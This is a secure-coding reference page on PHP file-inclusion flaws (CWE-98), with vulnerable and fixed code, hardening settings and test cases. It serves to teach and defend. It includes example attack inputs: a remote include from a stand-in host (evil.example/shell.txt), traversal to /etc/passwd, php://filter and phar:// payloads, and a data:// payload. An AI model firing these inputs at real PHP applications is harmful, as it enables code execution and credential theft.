Skip to content

CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')

Overview

PHP's include, require, include_once and require_once execute whatever they load. When any part of the path comes from a request, the attacker chooses what the interpreter runs, and the result is code execution rather than file disclosure.

The name says remote, and the classic payload - ?page=http://evil.example/shell.txt - needs allow_url_include to be on. That directive defaults to Off and has been deprecated since PHP 7.4, so on a default PHP 8 install the remote fetch usually fails. Treating the finding as closed on that basis is a mistake: a local include of attacker-influenced input is still code execution, and PHP's stream wrappers give an attacker several ways to supply content without hosting anything remotely.

Relationship to Other CWEs

CWE-98 is a PHP-specific Variant. The entries below are its scope, its parent, and the neighbouring number a finding may belong to instead:

OWASP Classification

A05:2025 - Injection

Risk

Critical: An attacker who controls what gets included controls what the interpreter executes, which is remote code execution in the application's own process and with its own permissions - database credentials, session data and the filesystem all follow. Where only local paths are reachable, the same flaw still discloses configuration files and credentials, and PHP's wrappers often turn that disclosure back into execution.

Common Vulnerable Patterns

Request data used directly as the include target

<?php
// VULNERABLE - the include target comes straight from the query string
include($_GET['page']);

Why this is vulnerable: Whatever the attacker names is executed as PHP. With allow_url_include enabled this fetches and runs a remote file; without it, the attacker still reaches any local path the process can read, including files they arranged to have written - an upload, a session file, or a log with a poisoned User-Agent header.

A fixed prefix or suffix mistaken for containment

<?php
// VULNERABLE - the appended extension does not constrain the path
$page = $_GET['page'];
include('/var/www/pages/' . $page . '.php');

// Attack: ?page=../../../../etc/passwd%00   (null byte, PHP < 5.3.4)
// Note: the fixed prefix rules out stream wrappers here - PHP recognises a
//       scheme only at offset 0, so php:// and phar:// payloads belong to the
//       patterns that concatenate nothing in front, not to this one
// Note: log poisoning needs a target ending in .php here - the appended suffix
//       turns /var/log/nginx/access into access.php, so that payload needs the
//       null byte above

Why this is vulnerable: A prefix is a string operation, not a boundary - ../ walks straight out of it. The appended .php looks like it restricts the target to PHP files, but it only constrains the end of the string, so any file whose name can be made to end in .php is still reachable.

The two halves fail differently, and separating them is what tells you which payloads apply. A suffix on its own leaves the stream wrappers open, because the attacker still controls offset 0. A prefix closes the wrappers - PHP looks for a scheme only at the start of the path - and does nothing about traversal. This example has both, so traversal is the live route through it, and the wrapper payloads belong to the patterns above and below that put nothing in front of the input.

Stream wrappers reaching an include

<?php
// VULNERABLE - include accepts wrappers, not just filesystem paths
include($_GET['template']);

// Attack: ?template=php://filter/convert.base64-encode/resource=config.php
//         reads source that a direct include would have executed silently
// Attack: ?template=phar://uploads/avatar.jpg/x
//         executes archive content from a file uploaded as an image
// Attack: ?template=data://text/plain;base64,PD9waHAgLi4u
//         inlines the payload - needs allow_url_include

Why this is vulnerable: include takes a stream URL wherever it takes a path. php://filter reads and transforms arbitrary files and, chained, can produce arbitrary content for the interpreter to execute without any file being uploaded. phar:// reaches inside an archive, so an include of one runs the code in the named entry - with a file the attacker only had to get past an image upload filter. Neither needs allow_url_include.

On PHP 8.0 and later the archive's metadata is no longer part of this. Phar metadata used to be unserialized automatically on any stream access, which made phar:// a route to object injection (CWE-502) through functions that merely stat a path; that was removed in 8.0, and only an explicit Phar::getMetadata() call deserializes now. The include itself is still execution, so the finding stands on PHP 8 - it is the object-injection route that has closed, and a report resting on it needs re-reading against the version in use.

Secure Patterns

Map a key to a path the application chose

<?php
declare(strict_types=1);

// SECURE - request data selects a key, never any part of a path
const PAGES = [
    'home'    => __DIR__ . '/pages/home.php',
    'about'   => __DIR__ . '/pages/about.php',
    'contact' => __DIR__ . '/pages/contact.php',
];

$key = $_GET['page'] ?? 'home';

if (!is_string($key) || !array_key_exists($key, PAGES)) {
    http_response_code(404);
    include __DIR__ . '/pages/not-found.php';
    return;
}

include PAGES[$key];

Why this works: The request never contributes a character to the path. Traversal, wrappers, null bytes and extension tricks all become irrelevant, because the only thing the input can do is fail to match a key. The is_string test is what keeps that true for ?page[]=x, which arrives as an array and would otherwise reach array_key_exists as the wrong type. array_key_exists avoids the type-juggling surprises of a loose in_array search, and the paths are absolute via __DIR__, so the include does not depend on include_path or the current working directory.

Prefer this to validating a filename. It is the difference between constraining what an attacker may supply and not letting them supply it at all.

When the set of files genuinely cannot be enumerated

<?php
declare(strict_types=1);

// SECURE - resolve first, then prove containment
function includeTemplate(string $name): void
{
    $baseDir = realpath(__DIR__ . '/templates');
    if ($baseDir === false) {
        throw new RuntimeException('Template directory missing');
    }

    // Reject anything that is not a plain name before touching the filesystem
    if (!preg_match('/\A[A-Za-z0-9][A-Za-z0-9_-]{0,63}\z/', $name)) {
        throw new InvalidArgumentException('Invalid template name');
    }

    $path = realpath($baseDir . DIRECTORY_SEPARATOR . $name . '.php');
    if ($path === false || !str_starts_with($path, $baseDir . DIRECTORY_SEPARATOR)) {
        throw new InvalidArgumentException('Unknown template');
    }

    include $path;
}

Why this works: The pattern admits only plain names, so no separator, wrapper prefix, null byte or .. survives to reach the filesystem - and it is written as an allowlist of permitted characters rather than a denylist of dangerous ones, which is what makes it resistant to encodings nobody thought of. realpath() then resolves symlinks and .. to a canonical path, and the str_starts_with check on that resolved value is what actually enforces the boundary. Comparing before resolution proves nothing, and comparing without the trailing separator would accept a sibling directory such as templates-backup.

Configuration hardening

; Defense in depth - not a substitute for the patterns above
allow_url_include = Off   ; default; deprecated since 7.4
allow_url_fopen = Off     ; disable if the app never fetches remote URLs
open_basedir = /var/www/app:/tmp

Why this works: allow_url_include off blocks http:// and data:// includes, and open_basedir limits every file operation - including include - to the listed trees, so a traversal that escapes the application still cannot reach /etc.

These directives have different scopes, which decides where you can set them. allow_url_include and allow_url_fopen are PHP_INI_SYSTEM: php.ini or the server's PHP configuration only, not .htaccess and not ini_set(). open_basedir is PHP_INI_ALL and can be tightened at runtime or per directory - it can only ever be narrowed, never widened, so a request cannot escape a restriction already in place.

Neither allow_url_include nor open_basedir disables php://filter or phar://. open_basedir does confine them, since it applies to the wrappers as well, so neither can reach a file outside the listed trees - but inside them php://filter still discloses the application's own source and a phar:// in an uploads directory still executes. That is why these are listed last: they bound the reach of the flaw without removing it.

Considerations

  • Whether the input reaches the path at all. The finding is real when any part of the include argument derives from a request, a database row an attacker can write, or a cookie. An include built entirely from constants and application state is a false positive; record it with that reasoning rather than adding validation to satisfy a scanner.
  • Do not close it because remote inclusion is disabled. The textbook http:// payload fails on most installations, and that says nothing about the local include underneath it. The severity conversation should be about what an attacker can get included, not about whether http:// works.
  • Where the attacker's file comes from. Rate the finding by what write primitives exist alongside it: an upload directory inside the document root, a log file the application can read, a session file with a predictable path, or a phar that only needs to pass an image filter. A local include on a system with no attacker-writable file is a lower, but not zero, severity - source disclosure of credentials is usually enough on its own.
  • basename() is not a fix, though it looks like one. It strips directory components, so ../../etc/passwd becomes passwd - which defeats traversal but leaves the attacker choosing any file in the base directory, and it does not stop php://filter chains from being passed elsewhere. Use it as a normalisation step inside the resolve-and-verify pattern, never as the check.

Testing

A re-scan tells you the pattern changed, not that the boundary holds. These assertions distinguish the two.

  • Request each payload class and assert an HTTP 404 or 400 and that no output from the target file appears: ../../../../etc/passwd, ....//....//etc/passwd (defeats a single-pass .. strip), php://filter/convert.base64-encode/resource=config, phar://uploads/test.jpg/x, and http://127.0.0.1/shell.txt.
  • Assert on the response body, not only the status. A page that returns 200 with an empty body because the include failed is a different outcome from one that rejected the request, and only one of them is the fix you intended.
  • Append a null byte to an otherwise valid name (home%00.txt) and assert rejection. Modern PHP throws on null bytes in paths, but validation written before the resolve step can still be bypassed by one.
  • Assert every legitimate key still renders. An allowlist migration that drops a page nobody tested is the usual regression, and no scanner reports it.
  • If open_basedir was added, assert that a legitimate include outside the listed trees now fails loudly in staging rather than in production - shared library paths and /tmp for sessions are the ones typically forgotten.

Additional Resources